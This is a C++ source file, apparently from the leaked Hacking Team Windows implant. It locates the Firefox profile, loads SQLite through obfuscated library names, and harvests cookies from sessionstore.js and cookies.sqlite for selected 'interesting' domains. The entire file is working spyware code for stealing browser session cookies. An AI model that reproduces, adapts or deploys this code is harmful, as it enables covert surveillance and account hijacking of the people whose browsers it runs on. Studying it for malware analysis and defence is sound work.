/Social/Cookie_FireFox.cpp

https://github.com/hackedteam/core-win32 · C++ · 200 lines · 165 code · 32 blank · 3 comment · 61 complexity · 9f3190e18f90c016bb60ee681acac564 MD5 · raw file

  1. #include <windows.h>
  2. #define _CRT_SECURE_NO_WARNINGS 1
  3. #include <stdio.h>
  4. #include "..\JSON\JSON.h"
  5. #include "..\JSON\JSONValue.h"
  6. #include "..\\common.h"
  7. #include "CookieHandler.h"
  8. // SQLITE Library functions
  9. typedef int (*sqlite3_open)(const char *, void **);
  10. typedef int (*sqlite3_close)(void *);
  11. typedef int (*sqlite3_exec)(void *, const char *, int (*callback)(void*,int,char**,char**), void *, char **);
  12. static sqlite3_open social_SQLITE_open = NULL;
  13. static sqlite3_close social_SQLITE_close = NULL;
  14. static sqlite3_exec social_SQLITE_exec = NULL;
  15. static HMODULE libsqlsc;
  16. //--------------------
  17. extern int DirectoryExists(WCHAR *path);
  18. extern char *HM_CompletePath(char *file_name, char *buffer);
  19. extern char *GetDosAsciiName(WCHAR *orig_path);
  20. extern WCHAR *GetFFProfilePath();
  21. extern char *DeobStringA(char *string);
  22. extern void FireFoxInitFunc();
  23. #define SQLITEALT_LIBRARY_NAME "05O9ByZLIn.Xyy" //"mozsqlite3.dll"
  24. #define SQLITE_LIBRARY_NAME "9ByZLIn.Xyy" //"sqlite3.dll"
  25. #define NSS_LIBRARY_NAME "199n.Xyy" //"nss3.dll"
  26. int static InitSocialLibs()
  27. {
  28. FireFoxInitFunc();
  29. if (!(libsqlsc = GetModuleHandleA(DeobStringA(SQLITE_LIBRARY_NAME))))
  30. if (!(libsqlsc = GetModuleHandleA(DeobStringA(SQLITEALT_LIBRARY_NAME))))
  31. if (!(libsqlsc = GetModuleHandleA(DeobStringA(NSS_LIBRARY_NAME))))
  32. return 0;
  33. // sqlite functions
  34. social_SQLITE_open = (sqlite3_open) GetProcAddress(libsqlsc, "sqlite3_open");
  35. social_SQLITE_close = (sqlite3_close) GetProcAddress(libsqlsc, "sqlite3_close");
  36. social_SQLITE_exec = (sqlite3_exec) GetProcAddress(libsqlsc, "sqlite3_exec");
  37. if (!social_SQLITE_open || !social_SQLITE_close || !social_SQLITE_exec)
  38. return 0;
  39. return 1;
  40. }
  41. int static parse_sqlite_cookies(void *NotUsed, int argc, char **argv, char **azColName)
  42. {
  43. char *host = NULL;
  44. char *name = NULL;
  45. char *value = NULL;
  46. for(int i=0; i<argc; i++){
  47. if(!host && !_stricmp(azColName[i], "host"))
  48. host = _strdup(argv[i]);
  49. if(!name && !_stricmp(azColName[i], "name"))
  50. name = _strdup(argv[i]);
  51. if(!value && !_stricmp(azColName[i], "value"))
  52. value = _strdup(argv[i]);
  53. }
  54. NormalizeDomainA(host);
  55. if (host && name && value && IsInterestingDomainA(host))
  56. AddCookieA(host, name, value);
  57. SAFE_FREE(host);
  58. SAFE_FREE(name);
  59. SAFE_FREE(value);
  60. return 0;
  61. }
  62. int static DumpSqliteCookies(WCHAR *profilePath, WCHAR *signonFile)
  63. {
  64. void *db;
  65. char *ascii_path;
  66. CHAR sqlPath[MAX_PATH];
  67. int rc;
  68. if (social_SQLITE_open == NULL)
  69. return 0;
  70. if (!(ascii_path = GetDosAsciiName(profilePath)))
  71. return 0;
  72. sprintf_s(sqlPath, MAX_PATH, "%s\\%S", ascii_path, signonFile);
  73. SAFE_FREE(ascii_path);
  74. if ((rc = social_SQLITE_open(sqlPath, &db)))
  75. return 0;
  76. social_SQLITE_exec(db, "SELECT * FROM moz_cookies;", parse_sqlite_cookies, NULL, NULL);
  77. social_SQLITE_close(db);
  78. return 1;
  79. }
  80. int DumpSessionCookies(WCHAR *profilePath)
  81. {
  82. char *session_memory = NULL;
  83. DWORD session_size;
  84. HANDLE h_session_file;
  85. JSONValue *value;
  86. JSONObject root;
  87. WCHAR sessionPath[MAX_PATH];
  88. WCHAR *host = NULL, *name = NULL, *cvalue = NULL;
  89. DWORD n_read = 0;
  90. swprintf_s(sessionPath, MAX_PATH, L"%s\\sessionstore.js", profilePath);
  91. h_session_file = FNC(CreateFileW)(sessionPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  92. if (h_session_file == INVALID_HANDLE_VALUE)
  93. return 0;
  94. session_size = GetFileSize(h_session_file, NULL);
  95. if (session_size == INVALID_FILE_SIZE || session_size == 0) {
  96. CloseHandle(h_session_file);
  97. return 0;
  98. }
  99. session_memory = (char *)malloc(session_size + sizeof(WCHAR));
  100. if (!session_memory) {
  101. CloseHandle(h_session_file);
  102. return 0;
  103. }
  104. memset(session_memory, 0, session_size + sizeof(WCHAR));
  105. if (!ReadFile(h_session_file, session_memory, session_size, &n_read, NULL)) {
  106. CloseHandle(h_session_file);
  107. SAFE_FREE(session_memory);
  108. return 0;
  109. }
  110. CloseHandle(h_session_file);
  111. if (n_read != session_size) {
  112. SAFE_FREE(session_memory);
  113. return 0;
  114. }
  115. value = JSON::Parse(session_memory);
  116. if (!value) {
  117. SAFE_FREE(session_memory);
  118. return 0;
  119. }
  120. if (value->IsObject() == false) {
  121. delete value;
  122. SAFE_FREE(session_memory);
  123. return 0;
  124. }
  125. root = value->AsObject();
  126. if (root.find(L"windows") != root.end() && root[L"windows"]->IsArray()) {
  127. JSONArray jwindows = root[L"windows"]->AsArray();
  128. for (unsigned int i = 0; i < jwindows.size(); i++) {
  129. if (jwindows[i]->IsObject()) {
  130. JSONObject jtabs = jwindows[i]->AsObject();
  131. if (jtabs.find(L"cookies") != jtabs.end() && jtabs[L"cookies"]->IsArray()) {
  132. JSONArray jcookiearray = jtabs[L"cookies"]->AsArray();
  133. for (unsigned int j = 0; j < jcookiearray.size(); j++) {
  134. if (jcookiearray[j]->IsObject()) {
  135. JSONObject jcookie = jcookiearray[j]->AsObject();
  136. if (jcookie.find(L"host") != jcookie.end() && jcookie[L"host"]->IsString())
  137. host = _wcsdup(jcookie[L"host"]->AsString().c_str());
  138. if (jcookie.find(L"name") != jcookie.end() && jcookie[L"name"]->IsString())
  139. name = _wcsdup(jcookie[L"name"]->AsString().c_str());
  140. if (jcookie.find(L"value") != jcookie.end() && jcookie[L"value"]->IsString())
  141. cvalue = _wcsdup(jcookie[L"value"]->AsString().c_str());
  142. NormalizeDomainW(host);
  143. if (host && name && cvalue && IsInterestingDomainW(host))
  144. AddCookieW(host, name, cvalue);
  145. SAFE_FREE(host);
  146. SAFE_FREE(name);
  147. SAFE_FREE(cvalue);
  148. }
  149. }
  150. }
  151. }
  152. }
  153. }
  154. delete value;
  155. SAFE_FREE(session_memory);
  156. return 1;
  157. }
  158. int DumpFFCookies(void)
  159. {
  160. WCHAR *ProfilePath = NULL; //Profile path
  161. ProfilePath = GetFFProfilePath();
  162. if (ProfilePath == NULL || !DirectoryExists(ProfilePath))
  163. return 0;
  164. DumpSessionCookies(ProfilePath);
  165. if (InitSocialLibs())
  166. DumpSqliteCookies(ProfilePath, L"cookies.sqlite");
  167. return 0;
  168. }